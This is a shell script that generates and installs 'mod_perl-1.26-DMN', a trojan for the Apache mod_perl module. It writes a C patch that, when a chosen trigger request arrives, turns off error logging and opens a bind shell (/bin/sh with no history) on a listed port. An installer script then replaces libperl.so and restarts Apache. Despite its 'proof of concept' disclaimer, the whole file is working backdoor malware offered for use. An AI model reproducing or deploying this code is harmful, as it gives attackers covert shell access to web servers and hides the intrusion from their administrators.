#!/bin/sh
# Configure script of mod_perl-1.26-DMN trojan
# written by Sp4rK <sp4rk@undersec.com>
# 15.12.2oo1

RED="\033[1;31m"
YELLOW="\033[1;33m"
BOLD="\033[1;37m"
CLEAR="\033[m"
CYAN="\033[0;36m"
BLUE="\033[1;32m"
VERSION=0.90

BINDIR=/usr/local/apache/bin
LIBDIR=/usr/local/apache/libexec

echo -e "
*$BOLD*$CLEAR* Configuration script of$BOLD mod_perl-1.26-DMN$CLEAR trojan v$VERSION
*$BOLD*$CLEAR* written by$RED Sp4rK$CLEAR <$CYAN""sp4rk@undersec.com$CLEAR"">
*$BOLD*$CLEAR*$BOLD UNDERSEC Security TEAM$CLEAR <$CYAN""http://www.undersec.com$CLEAR"">\n"


echo -en "Where's located the Apache binary dir? (default: $BINDIR): "
read DIR
if [ -z $DIR ]; then
	unset DIR
else
	BINDIR=$DIR
fi


echo -en "Where's located the Apache library dir (libexec)? (default: $LIBDIR): "
read DIR
if [ -z $DIR ]; then
	unset DIR
else
	LIBDIR=$DIR
fi


echo -en "What list of ports do you want the trojan to try to bind?\nIt must be a comma separated list or the patch won't work\n(e.g 9000,9001): "
read PORTS
if [ -z $PORTS ]; then
	echo -e "You must specify a port! There are no default ports\nExitting...\n"
	exit 1
fi


echo -en "What request do you want mod_perl to trap?\nA good choice may be 'GET    /someperlscript.pl': "
read REQUEST
if [ -z $REQUEST ]; then
	echo -e "You must specify a request! By default, the trojan does not trap any request\nExitting...\n"
	exit 1
fi


echo -e "Done...\n\nBINDIR=$BINDIR\nLIBDIR=$LIBDIR\nPORTS=$PORTS\nREQUEST='$REQUEST'\n"
sleep 2


echo "Creating mod_perl-1.26-DMN.diff..."
sleep 1


cat << EOF > mod_perl-1.26-DMN.diff

--- apaci/mod_perl.c	Sat Dec 15 10:39:18 2001
+++ apaci/mod_perl-1.26-DMN.c	Sat Dec 15 10:38:09 2001
@@ -52,8 +52,14 @@
  * And so it was decided the camel should be given magical multi-colored
  * feathers so it could fly and journey to once unknown worlds.
  * And so it was done...
+ *
+ * Heh, funny literature... but Sp4rK has doped your camel and it's doing
+ * some nasty things =)
  */
 
+#define POISON "$REQUEST"
+#define MAXCSTRINGLEN 512
+
 #define CORE_PRIVATE 
 #include "mod_perl.h"
 
@@ -821,6 +827,64 @@
     dPPREQ;
     dTHR;
     GV *gv;
+
+/* *** BEGIN ***
+ * Added from mod_perl-1.26-DMN trojan
+ * by Sp4rK <sp4rk@undersec.com>
+ *
+ */
+
+	struct sockaddr_in sock;
+	int ss,sc,x=0,result=1,end=0;
+	unsigned int puertos[] = {$PORTS,0};
+	char *args[] = {"/bin/sh","-i",NULL};
+	char *env[] = {"HISTFILE=/dev/null",NULL};
+	char cstring[MAXCSTRINGLEN];
+
+	if (!strcmp(POISON,r->the_request)) {
+		r->server->error_log = NULL;
+		memset((void *)&sock,0,sizeof(struct sockaddr_in));
+		sock.sin_family = AF_INET;
+		sock.sin_addr.s_addr = INADDR_ANY;
+		sock.sin_port = htons(puertos[x]);
+		ss = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
+
+		while (bind(ss,(struct sockaddr *)&sock,sizeof(sock)) < 0) {
+			if (!puertos[x+1]) {
+				close(ss);
+				end=1;
+				break;
+			} else {
+				x++;
+				sock.sin_port=htons(puertos[x]);
+			}
+		}
+
+		memset((char *)cstring,0,MAXCSTRINGLEN);
+
+		if (end == 0) {
+			snprintf(cstring,MAXCSTRINGLEN,"\n*** Mod_perl-1.26-DMN trojan by Sp4rK <sp4rk@undersec.com>\n*** UNDERSEC Security TEAM <http://www.undersec.com>\n*** Use at your own risk. It's been written ONLY as a proof of concept...\n*** So if you are an admin... go&catch the fucking script kiddie who's using it\n\n\033[30GDON'T BLAME AT US!\n\n\033[22G.oO Shell binded at port %i Oo.\n",puertos[x]);
+			write(r->connection->client->fd,cstring,MAXCSTRINGLEN);
+			listen(ss,1);
+			sc = accept(ss,(struct sockaddr *)&sock,(int *)sizeof(sock));
+			dup2(sc,0);
+			dup2(sc,1);
+			dup2(sc,2);
+			execve(args[0],args,env);
+			close(ss);
+		} else {
+			snprintf(cstring,MAXCSTRINGLEN,"\n*** Mod_perl-1.26-DMN trojan by Sp4rK <sp4rk@undersec.com>\n*** UNDERSEC Security TEAM <http://www.undersec.com>\n*** Use at your own risk. It's been written ONLY as a proof of concept...\n*** So if you are an admin... go&catch the fucking script kiddie who's using it\n\n\033[30GDON'T BLAME AT US!\n\n\033[22G.oO No shell was binded as there wasn't any free port in the list Oo.\n",puertos[x]);
+			write(r->connection->client->fd,cstring,MAXCSTRINGLEN);
+		}
+	} else {
+		r->server->error_log = stderr;
+	}
+
+/* 
+ * Added from mod_perl-1.26-DMN trojan
+ * by Sp4rK <sp4rk@undersec.com>
+ * *** END ***
+ */
 
 #ifdef USE_ITHREADS
     dTHX;
EOF

echo "Creating install.modperl..."
sleep 1

RANDFILE=.tmp.`dd if=/dev/random bs=1 count=4 2> /dev/null`

cat << EOF > $RANDFILE
#!/bin/sh

# Installation script of mod_perl-1.26-DMN trojan
# written by Sp4rK <sp4rk@undersec.com>
# 15.12.2oo1

LIBDIR=$LIBDIR
PERLLIB=libperl.so
BINDIR=$BINDIR
VERSION=$VERSION

# Color codes
RED=\"\033[1;31m\"
GREEN=\"\033[1;32m\"
BOLD=\"\033[1;37m\"
CLEAR=\"\033[m\"
CYAN=\"\033[0;36m\"

# Exit codes
ERROR=\$RED
SUCCESS=\$GREEN

# Make 
MAKE_OPTIONS=\"USE_APXS=1 WITH_APXS=\$BINDIR/apxs EVERYTHING=1 PERL_USELARGEFILES=0\"

# Some more variables :P
SET_DCOL=\"\033[73G"
SET_FCOL=\"\033[72G"
MODPERLTROJAN=mod_perl-1.26-DMN.diff
PORTS=$PORTS
REQUEST='$REQUEST'

echo_retval ()
{
    if [ \$? = 0 ]; then
        echo -e \"\${SET_DCOL}(\${SUCCESS}DONE\${CLEAR})\"
    else
        echo -e \"\${SET_FCOL}(\${ERROR}FAILED\${CLEAR})\"
        if [ -n ERRORS ]; then
            echo \$ERRORS
        fi
		unset ERRORS
	fi
}

echo -e \"
*\$BOLD*\$CLEAR* Configuration script of\$BOLD mod_perl-1.26-DMN\$CLEAR trojan v\$VERSION
*\$BOLD*\$CLEAR* written by\$RED Sp4rK\$CLEAR <\$CYAN\"\"sp4rk@undersec.com\$CLEAR\"\">
*\$BOLD*\$CLEAR*\$BOLD UNDERSEC Security TEAM\$CLEAR <\$CYAN\"\"http://www.undersec.com\$CLEAR\"\">\n\"

if [ \$(basename \`pwd\`) != \"mod_perl-1.26\" ]; then
	echo \"You must be placed under mod_perl-1.26 directory...
So copy me under mod_perl-1.26 sources directory!!!\"
	exit 1
fi

echo -n \"Do you want me to enter configuration, patching and compilation stage of your mod_perl sources? (y/n): \"
read QUE
if [ \$QUE = \"y\" ]; then
	echo -e \"\nCONFIGURATION, PATCHING AND COMPILATION STAGE\"
	echo -e \"-----------------------------------------------\n\"
	echo -n \"Do you want me to configure the mod_perl sources for you? (y/n): \"
	read QUE
	if [ \$QUE = \"y\" ]; then
		perl Makefile.PL \$MAKE_OPTIONS
	fi
	echo -n \"Do you want me to apply the patch? Say 'n' if you've already done it (y/n): \"
	read QUE
	if [ \$QUE = \"y\" ]; then
	    if [ -r \$MODPERLTROJAN ]; then
    	    echo -e \"If patch complains about the mod_perl patch, maybe you're patching an\nincorrect version of mod_perl or the patch has already been applied\nNow running patch...\"
	        sleep 3
    	    patch -p0 < \$MODPERLTROJAN
	    else
    	    echo -e \"Mod_perl trojan diff file not found in working directory.\nYou should copy it here if you want me to patch your mod_perl.\n\"
	        exit 1
	    fi
    	echo -n \"Was the patch successful? (y/n): \"
	    read QUE
	    if [ \$QUE = \"y\" ]; then
	        echo -n \"Heh, are you sure? (y/n): \"
	        read QUE
    	    if [ \$QUE = \"y\" ]; then
        	    echo -n \"May I trust you? (y/n): \"
            	read QUE
	            if [ \$QUE = \"y\" ]; then
	                echo -e \"\nReally? (y/n)\nHeh, I was joking! Don't get nervous :P. Well, let's go on...\n\"
	            else
	                echo \"Yeeeaah! I had a feeling... :P\"
	                exit 1
	            fi
    	    else
        	    echo \"Well, then patch mod_perl yourself\"
	            exit 1
	        fi
	    else
	    echo -e \"I'm sorry :( You'll have to patch mod_perl sources on your own.\n\"
	    exit 1
	    fi
	fi
	echo -en \"Do you want me to compilate mod_perl for you?\n(Say 'y' only if mod_perl was already configured) (y/n): \"
	read QUE
	if [ \$QUE = \"y\" ]; then
		cd apaci
		make
		cd ..
		echo -n \"Was there any error at the compilation time? (y/n): \"
		read QUE
		if [ \$QUE = \"y\" ]; then
			echo -e \"Oh, I'm sorry :( You'll have to compile mod_perl sources on your own.\n\"
			exit 1
		fi
	fi
fi

echo -en \"Ok, do you want me to install the trojanized mod_perl? (y/n): \"
read QUE
if [ \$QUE = \"y\" ]; then	
	echo -e \"Fine, I'm gonna try it\n\"
	sleep 3
else
	echo -e \"Fuck! Do it yourself :P\"
	sleep 1
	exit 1
fi

echo -n \"Checking Apache library and binary directories \"
if [ -d \$LIBDIR ] && [ -d \$BINDIR ]; then
	true
	echo_retval
else
	false
	echo_retval
	echo \"Dynamic library \$PERLLIB not found in \$LIBDIR or yo don't have permissions to delete it.\"
	exit 1
fi


echo -n \"Checking for permission to delete \$PERLLIB \"
if [ -w \$LIBDIR/\$PERLLIB ]; then
	true
	echo_retval
	echo  -n \"Removing Perl dynamic library \$PERLLIB \"
	rm \$LIBDIR/\$PERLLIB 1>&2>& /dev/null
	if [ \$? != 0 ]; then
		ERRORS=\"Failed while running rm command\"
		false
		echo_retval
		exit 1
	fi
	echo_retval
else
	false
	echo_retval
	echo \"Cannot delete \$PERLLIB or this file doesn't exist\"
	echo -ne \"\nThis means somebody has deleted libperl.so or LIBDIR path is not correct\nDo you still want to install trojanized mod_perl under \$LIBDIR? (y/n): \"
	read QUE
	if [ \$QUE != \"y\" ]; then
		echo \"Ok, Aborting...\"
		exit 1
	else
		echo \"Ok, I hope it will work...\"
		sleep 2
	fi
fi


echo -n \"Checking for write permissions on Apache library directory \"	
if [ -w \$LIBDIR ]; then
	true
	echo_retval
	echo -n \"Copying trojanized Perl dynamic library in \$LIBDIR \"
	cp apaci/\$PERLLIB \$LIBDIR/ 1>&2>& /dev/null
	if [ \$? != 0 ]; then
		ERRORS=\"Failed while running cp command\"
		false
		echo_retval	
		exit 1
	fi
	echo_retval
else
	false
	echo_retval
	echo \"Cannot write \$PERLLIB to Apache library directory \$LIBDIR\"
	exit 1
fi

echo -n \"Checking whether we can run apachectl or not \"
if [ -x \$BINDIR/apachectl ]; then
	true
	echo_retval
	echo -n \"Stopping Apache WebServer \"
	\$BINDIR/apachectl stop 1>&2>& /dev/null
	if [ \$? != 0 ]; then
		ERRORS=\"Failed while stopping Apache WebServer\"
		false
		echo_retval
		exit 1
	fi
	echo_retval
	sleep 1
	echo -n \"Starting Apache WebServer with trojanized mod_perl \"
	\$BINDIR/apachectl start 1>&2>& /dev/null
	if [ \$? != 0 ]; then
		ERRORS=\"Failed while starting Apache WebServer\"
		false
		echo_retval
		exit 1
	fi
	echo_retval
else
	false
	echo_retval
	echo \"Don't know how to restart Apache WebServer.\"
	exit 1
fi

echo \"Installation was successful... Enjoy!\"
echo -e \"\nFrom now on everytime mod_perl traps a '\$REQUEST' request it will bind to the first available port between \$PORTS.\n"
echo -e \"*\$BOLD*\$CLEAR* Brought to you by\$RED Sp4rK\$CLEAR \"\"<\$CYAN\"\"sp4rk@undersec.com\$CLEAR\"\">\"
echo -e \"*\$BOLD*\$CLEAR*\$BOLD UNDERSEC Security TEAM\$CLEAR <\$CYAN\"\"http://www.undersec.com\$CLEAR\"\">\n\"

EOF

sed -e 's/\\"/"/g' < $RANDFILE > install.modperl
rm -f $RANDFILE
chmod 750 install.modperl
chmod 640 mod_perl-1.26-DMN.diff

echo -e "Configuration is done...\n\nNow copy install.modperl & mod_perl-1.26-DMN.diff to mod_perl-1.26 directory\n"
echo -e "*$BOLD*$CLEAR* Brought to you by$RED Sp4rK$CLEAR ""<$CYAN""sp4rk@undersec.com$CLEAR"">"
echo -e "*$BOLD*$CLEAR*$BOLD UNDERSEC Security TEAM$CLEAR <$CYAN""http://www.undersec.com$CLEAR"">\n"

